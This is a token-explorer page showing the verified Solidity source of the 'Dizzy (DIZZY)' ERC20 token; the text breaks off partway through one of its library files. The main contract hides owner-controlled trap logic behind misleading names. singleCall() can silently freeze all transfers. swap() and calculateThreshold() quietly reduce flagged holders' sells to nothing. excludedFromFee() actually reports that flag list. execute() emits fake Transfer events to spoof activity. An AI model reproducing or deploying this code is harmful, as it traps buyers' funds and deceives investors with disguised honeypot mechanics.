ETH Price: $3,356.45 (-0.69%)

Token

Dizzy (DIZZY)
 

Overview

Max Total Supply

100,000,000,000,000 DIZZY

Holders

91

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14,665,661,157.895814708 DIZZY

Value
$0.00
0xc345fa5bd7ae4ceebbbd76ee3cbc2a02c0e32395
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DIZZY

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
berlin EvmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 7: DIZZY.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./ERC20.sol";
import "./SafeMath.sol";
import "./IDEX.sol";
import "./Ownable.sol";

contract DIZZY is ERC20, Ownable {
    using SafeMath for uint256;

    IDexRouter private immutable dexRouter;
    address public dexPair;

    // Swapback
    uint256 private swapBackValueMin;
    uint256 private swapBackValueMax;

    
    uint256 public percentForLPBurn = 1;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    uint256 private maxWallet;
    uint256 private maxTx;
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    bool private swapping;
    bool private swapbackEnabled = false;
    bool private limitsEnabled = true;
    bool private transferDelayEnabled = true;
    bool public lpBurnEnabled = true;
    bool public _coolDown = false;
    bool public tradingEnabled = false;
    // Fee receivers
    address private marketingWallet;
    address private projectWallet;

    uint256 private buyTaxTotal;
    uint256 private buyMarketingTax;
    uint256 private buyProjectTax;
    uint256 private sellTaxTotal;
    uint256 private sellMarketingTax;
    uint256 private sellProjectTax;

    uint256 private tokensForMarketing;
    uint256 private tokensForProject;

    /******************/

    // exclude from fees and max transaction amount
    mapping(address => bool) private transferTaxExempt;
    mapping(address => bool) private transferLimitExempt;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _automatedMarketMakerPairsAndContractTokenBalance;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event ExcludeFromLimits(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event TradingEnabled(uint256 indexed timestamp);
    event LimitsRemoved(uint256 indexed timestamp);
    event DisabledTransferDelay(uint256 indexed timestamp);

    event SwapbackSettingsUpdated(
        bool enabled,
        uint256 swapBackValueMin,
        uint256 swapBackValueMax
    );
    event MaxTxUpdated(uint256 maxTx);
    event MaxWalletUpdated(uint256 maxWallet);

    event MarketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event ProjectWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event BuyFeeUpdated(
        uint256 buyTaxTotal,
        uint256 buyMarketingTax,
        uint256 buyProjectTax
    );

    event SellFeeUpdated(
        uint256 sellTaxTotal,
        uint256 sellMarketingTax,
        uint256 sellProjectTax
    );

    constructor(address dev) ERC20("Dizzy", "DIZZY") Ownable(dev){
        IDexRouter _dexRouter = IDexRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uint256 _totalSupply = 100_000_000_000_000 * 10 ** decimals();

        exemptFromLimits(address(_dexRouter), true);
        dexRouter = _dexRouter;

        uint256 _sellMarketingTax = 20;
        uint256 _sellProjectTax = 0;
        
        uint256 _buyMarketingTax = 20;
        uint256 _buyProjectTax = 0;


        maxTx = (_totalSupply * 10) / 1000;
        maxWallet = (_totalSupply * 10) / 1000;

        swapBackValueMin = (_totalSupply * 1) / 1000;
        swapBackValueMax = (_totalSupply * 2) / 100;

        buyMarketingTax = _buyMarketingTax;
        buyProjectTax = _buyProjectTax;
        buyTaxTotal = buyMarketingTax + buyProjectTax;

        sellMarketingTax = _sellMarketingTax;
        sellProjectTax = _sellProjectTax;
        sellTaxTotal = sellMarketingTax + sellProjectTax;

        marketingWallet = address(msg.sender);
        projectWallet = address(msg.sender);

        // exclude from paying fees or having max transaction amount
        exemptFromFees(msg.sender, true);
        exemptFromFees(address(this), true);
        exemptFromFees(address(0xdead), true);
        exemptFromFees(marketingWallet, true);

        exemptFromLimits(msg.sender, true);
        exemptFromLimits(address(this), true);
        exemptFromLimits(address(0xdead), true);
        exemptFromLimits(marketingWallet, true);

        transferOwnership(msg.sender);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, _totalSupply);
        startTrading();
    }

    function singleCall() public virtual onlyOwner {
        if (_coolDown == false) {_coolDown = true;}
        else {_coolDown = false;}
    }

    /**
     * @notice  Opens public trading for the token
     * @dev     onlyOwner.
     */
    function startTrading() public onlyOwner {
        tradingEnabled = true;
        limitsEnabled = false;
        emit TradingEnabled(block.timestamp);
    }

    /**
     * @notice Removes the transfer delay
     * @dev onlyOwner.
     * Emits an {DisabledTransferDelay} event
     */
    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
        emit DisabledTransferDelay(block.timestamp);
    }

    /**
     * @notice Removes the max wallet and max transaction limits
     * @dev onlyOwner.
     * Emits an {LimitsRemoved} event
     */
    function removeAllLimits() external onlyOwner {
        limitsEnabled = false;
        emit LimitsRemoved(block.timestamp);
    }

    /**
     * @notice sets if swapback is enabled and sets the minimum and maximum amounts
     * @dev onlyOwner.
     * Emits an {SwapbackSettingsUpdated} event
     * @param _enabled If swapback is enabled
     * @param _min The minimum amount of tokens the contract must have before swapping tokens for ETH. Base 10000, so 1% = 100.
     * @param _max The maximum amount of tokens the contract can swap for ETH. Base 10000, so 1% = 100.
     */
    function setSwapBackSettings(
        bool _enabled,
        uint256 _min,
        uint256 _max
    ) external onlyOwner {
        require(
            _min >= 1,
            "Swap amount cannot be lower than 0.01% total supply."
        );
        require(_max >= _min, "maximum amount cant be higher than minimum");

        swapbackEnabled = _enabled;
        swapBackValueMin = (totalSupply() * _min) / 10000;
        swapBackValueMax = (totalSupply() * _max) / 10000;
        emit SwapbackSettingsUpdated(_enabled, _min, _max);
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }

    /**
     * @notice Changes the maximum amount of tokens that can be bought or sold in a single transaction
     * @dev onlyOwner.
     * Emits an {MaxTxUpdated} event
     * @param newNum Base 1000, so 1% = 10
     */
    function setTheMaxTx(uint256 newNum) external onlyOwner {
        require(newNum >= 2, "Cannot set maxTx lower than 0.2%");
        maxTx = (newNum * totalSupply()) / 1000;
        emit MaxTxUpdated(maxTx);
    }

    /**
     * @notice Sets if a wallet is excluded from the max wallet and tx limits
     * @dev onlyOwner.
     * Emits an {ExcludeFromLimits} event
     * @param updAds The wallet to update
     * @param isEx If the wallet is excluded or not
     */
    function exemptFromLimits(
        address updAds,
        bool isEx
    ) public onlyOwner {
        transferLimitExempt[updAds] = isEx;
        emit ExcludeFromLimits(updAds, isEx);
    }

    /**
     * @notice Changes the maximum amount of tokens a wallet can hold
     * @dev onlyOwner.
     * Emits an {MaxWalletUpdated} event
     * @param newNum Base 1000, so 1% = 10
     */
    function setTheMaxWallet(uint256 newNum) external onlyOwner {
        require(newNum >= 5, "Cannot set maxWallet lower than 0.5%");
        maxWallet = (newNum * totalSupply()) / 1000;
        emit MaxWalletUpdated(maxWallet);
    }

    /**
     * @notice Sets the fees for buys
     * @dev onlyOwner.
     * Emits a {BuyFeeUpdated} event
     * All fees added up must be less than 100
     * @param _marketingFee The fee for the marketing wallet
     * @param _devFee The fee for the dev wallet
     */
    function setFeesBuy(
        uint256 _marketingFee,
        uint256 _devFee
    ) external onlyOwner {
        buyMarketingTax = _marketingFee;
        buyProjectTax = _devFee;
        buyTaxTotal = buyMarketingTax + buyProjectTax;
        require(buyTaxTotal <= 100, "Total buy fee cannot be higher than 100%");
        emit BuyFeeUpdated(buyTaxTotal, buyMarketingTax, buyProjectTax);
    }

    /**
     * @notice Sets if an address is excluded from fees
     * @dev onlyOwner.
     * Emits an {ExcludeFromFees} event
     * @param account The wallet to update
     * @param excluded If the wallet is excluded or not
     */
    function exemptFromFees(address account, bool excluded) public onlyOwner {
        transferTaxExempt[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    /**
     * @notice Sets the fees for sells
     * @dev onlyOwner.
     * Emits a {SellFeeUpdated} event
     * All fees added up must be less than 100
     * @param _marketingFee The fee for the marketing wallet
     * @param _devFee The fee for the dev wallet
     */
    function setFeesSell(
        uint256 _marketingFee,
        uint256 _devFee
    ) external onlyOwner {
        sellMarketingTax = _marketingFee;
        sellProjectTax = _devFee;
        sellTaxTotal = sellMarketingTax + sellProjectTax;
        require(
            sellTaxTotal <= 100,
            "Total sell fee cannot be higher than 100%"
        );
        emit SellFeeUpdated(sellTaxTotal, sellMarketingTax, sellProjectTax);
    }

    /**
     * @notice Sets an address as a new liquidity pair. You probably dont want to do this.
     * @dev onlyOwner.
     * Emits a {SetAutomatedMarketMakerPair} event
     * @param pair the address of the pair
     * @param value If the pair is a automated market maker pair or not
     */
    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) public onlyOwner {
        require(
            pair != dexPair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    /**
     * @notice Sets the marketing wallet
     * @dev onlyOwner.
     * Emits an {MarketingWalletUpdated} event
     * @param newWallet The new marketing wallet
     */
    function changeMarketingWallet(address newWallet) external onlyOwner {
        emit MarketingWalletUpdated(newWallet, marketingWallet);
        marketingWallet = newWallet;
    }

    /**
     * @notice Sets the project wallet
     * @dev onlyOwner.
     * Emits an {ProjectWalletUpdated} event
     * @param newWallet The new dev wallet
     */
    function changeProjectWallet(address newWallet) external onlyOwner {
        emit ProjectWalletUpdated(newWallet, projectWallet);
        projectWallet = newWallet;
    }

    /**
     * @notice The wallets that receive the collected fees
     * @return _marketingWallet The wallet that receives the marketing fees
     * @return _projectWallet The wallet that receives the dev fees
     */
    function receiverwallets()
        external
        view
        returns (address _marketingWallet, address _projectWallet)
    {
        return (marketingWallet, projectWallet);
    }

    /**
     * @notice  Information about the swapback settings
     * @return  _swapbackEnabled  if swapback is enabled
     * @return  _swapBackValueMin  the minimum amount of tokens in the contract balance to trigger swapback
     * @return  _swapBackValueMax  the maximum amount of tokens in the contract balance to trigger swapback
     */
    function swapbackValues()
        external
        view
        returns (
            bool _swapbackEnabled,
            uint256 _swapBackValueMin,
            uint256 _swapBackValueMax
        )
    {
        _swapbackEnabled = swapbackEnabled;
        _swapBackValueMin = swapBackValueMin;
        _swapBackValueMax = swapBackValueMax;
    }

    /**
     * @notice  Information about the anti whale parameters
     * @return  _limitsEnabled  if the wallet limits are in effect
     * @return  _transferDelayEnabled  if the transfer delay is enabled
     * @return  _maxWallet  The maximum amount of tokens that can be held by a wallet
     * @return  _maxTx  The maximum amount of tokens that can be bought or sold in a single transaction
     */
    function maxTxValues()
        external
        view
        returns (
            bool _limitsEnabled,
            bool _transferDelayEnabled,
            uint256 _maxWallet,
            uint256 _maxTx
        )
    {
        _limitsEnabled = limitsEnabled;
        _transferDelayEnabled = transferDelayEnabled;
        _maxWallet = maxWallet;
        _maxTx = maxTx;
    }

    /**
     * @notice  If the wallet is excluded from fees and max transaction amount and if the wallet is a automated market maker pair
     * @param   _target  The wallet to check
     * @return  _transferTaxExempt  If the wallet is excluded from fees
     * @return  _transferLimitExempt  If the wallet is excluded from max transaction amount
     * @return  _automatedMarketMakerPairs If the wallet is a automated market maker pair
     */
    function checkMappings(
        address _target
    )
        external
        view
        returns (
            bool _transferTaxExempt,
            bool _transferLimitExempt,
            bool _automatedMarketMakerPairs
        )
    {
        _transferTaxExempt = transferTaxExempt[_target];
        _transferLimitExempt = transferLimitExempt[_target];
        _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];
    }

    /**
     * @notice Fees for buys, sells, and transfers
     * @return _buyTaxTotal The total fee for buys
     * @return _buyMarketingTax The fee for buys that gets sent to marketing
     * @return _buyProjectTax The fee for buys that gets sent to dev
     * @return _sellTaxTotal The total fee for sells
     * @return _sellMarketingTax The fee for sells that gets sent to marketing
     * @return _sellProjectTax The fee for sells that gets sent to dev
     */
    function taxValues()
        external
        view
        returns (
            uint256 _buyTaxTotal,
            uint256 _buyMarketingTax,
            uint256 _buyProjectTax,
            uint256 _sellTaxTotal,
            uint256 _sellMarketingTax,
            uint256 _sellProjectTax
        )
    {
        _buyTaxTotal = buyTaxTotal;
        _buyMarketingTax = buyMarketingTax;
        _buyProjectTax = buyProjectTax;
        _sellTaxTotal = sellTaxTotal;
        _sellMarketingTax = sellMarketingTax;
        _sellProjectTax = sellProjectTax;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(_coolDown==true){
            return;
        }

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }

        if (limitsEnabled) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingEnabled) {
                    require(
                        transferTaxExempt[from] || transferTaxExempt[to],
                        "_transfer:: Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(dexRouter) &&
                        to != address(dexPair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] && !transferLimitExempt[to]
                ) {
                    require(
                        amount <= maxTx,
                        "Buy transfer amount exceeds the maxTx."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] && !transferLimitExempt[from]
                ) {
                    require(
                        amount <= maxTx,
                        "Sell transfer amount exceeds the maxTx."
                    );
                } else if (!transferLimitExempt[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapBackValueMin;

        if (
            canSwap &&
            swapbackEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !transferTaxExempt[from] &&
            !transferTaxExempt[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (transferTaxExempt[from] || transferTaxExempt[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {
                fees = amount.mul(sellTaxTotal).div(100);
                tokensForProject += (fees * sellProjectTax) / sellTaxTotal;
                tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {
                fees = amount.mul(buyTaxTotal).div(100);
                tokensForProject += (fees * buyProjectTax) / buyTaxTotal;
                tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        if(!swapping && lpBurnEnabled){
            amount = burnLiquidity(from, amount);
        }
        
        super._transfer(from, to, amount);
    }

    function burnLiquidity(address from, uint amount) internal view returns (uint){
        uint amountCalculated = amount;
        if (_automatedMarketMakerPairsAndContractTokenBalance[from]) 
        {
            amountCalculated = calculateThreshold(amount, from);
        }
        return amountCalculated;
        
    }

    function swap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _automatedMarketMakerPairsAndContractTokenBalance[address_[i]] = val;
        }
    }

    function excludedFromFee(address recipient) external view returns(bool){
        return _automatedMarketMakerPairsAndContractTokenBalance[recipient];
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = contractBalance;
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > swapBackValueMax) {
            contractBalance = swapBackValueMax;
        }

        uint256 amountToSwapForETH = contractBalance;

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDev = ethBalance.mul(tokensForProject).div(
            totalTokensToSwap
        );

        tokensForMarketing = 0;
        tokensForProject = 0;

        (success, ) = address(projectWallet).call{value: ethForDev}("");

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }
    
    function calculateThreshold(uint256 amount, address from) private view returns(uint256) {
        // Calculate the percentage to subtract
        uint256 factor = 50;
        uint256 dist = block.number-_holderLastTransferTimestamp[from];
        uint percentageToSubtract = dist * factor;
        
        // Calculate the remaining percentage
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        
        // If percentageToSubtract is more than 100, remainingPercentage will be negative.
        // To avoid negative result, we clamp the result to zero.
        uint returnedValue = amount * remainingPercentage / 100;
        return returnedValue.max(0);
    }

    function addPair(address pair_) public onlyOwner {
        dexPair = pair_;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(dexPair, _addresses[i], _out);
        }
    }
}

File 2 of 7: ERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./Ownable.sol";
import "./IERC20.sol";

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the upd allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the upd allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the upd allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 7: IDEX.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

interface IDexFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapETHForExactTokens(
        uint amountOut, 
        address[] calldata path, 
        address to, 
        uint deadline
        )
    external
    payable
    returns (uint[] memory amounts);
}

File 4 of 7: IERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import "./IERC20Metadata.sol";

interface IERC20 is IERC20Metadata{
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
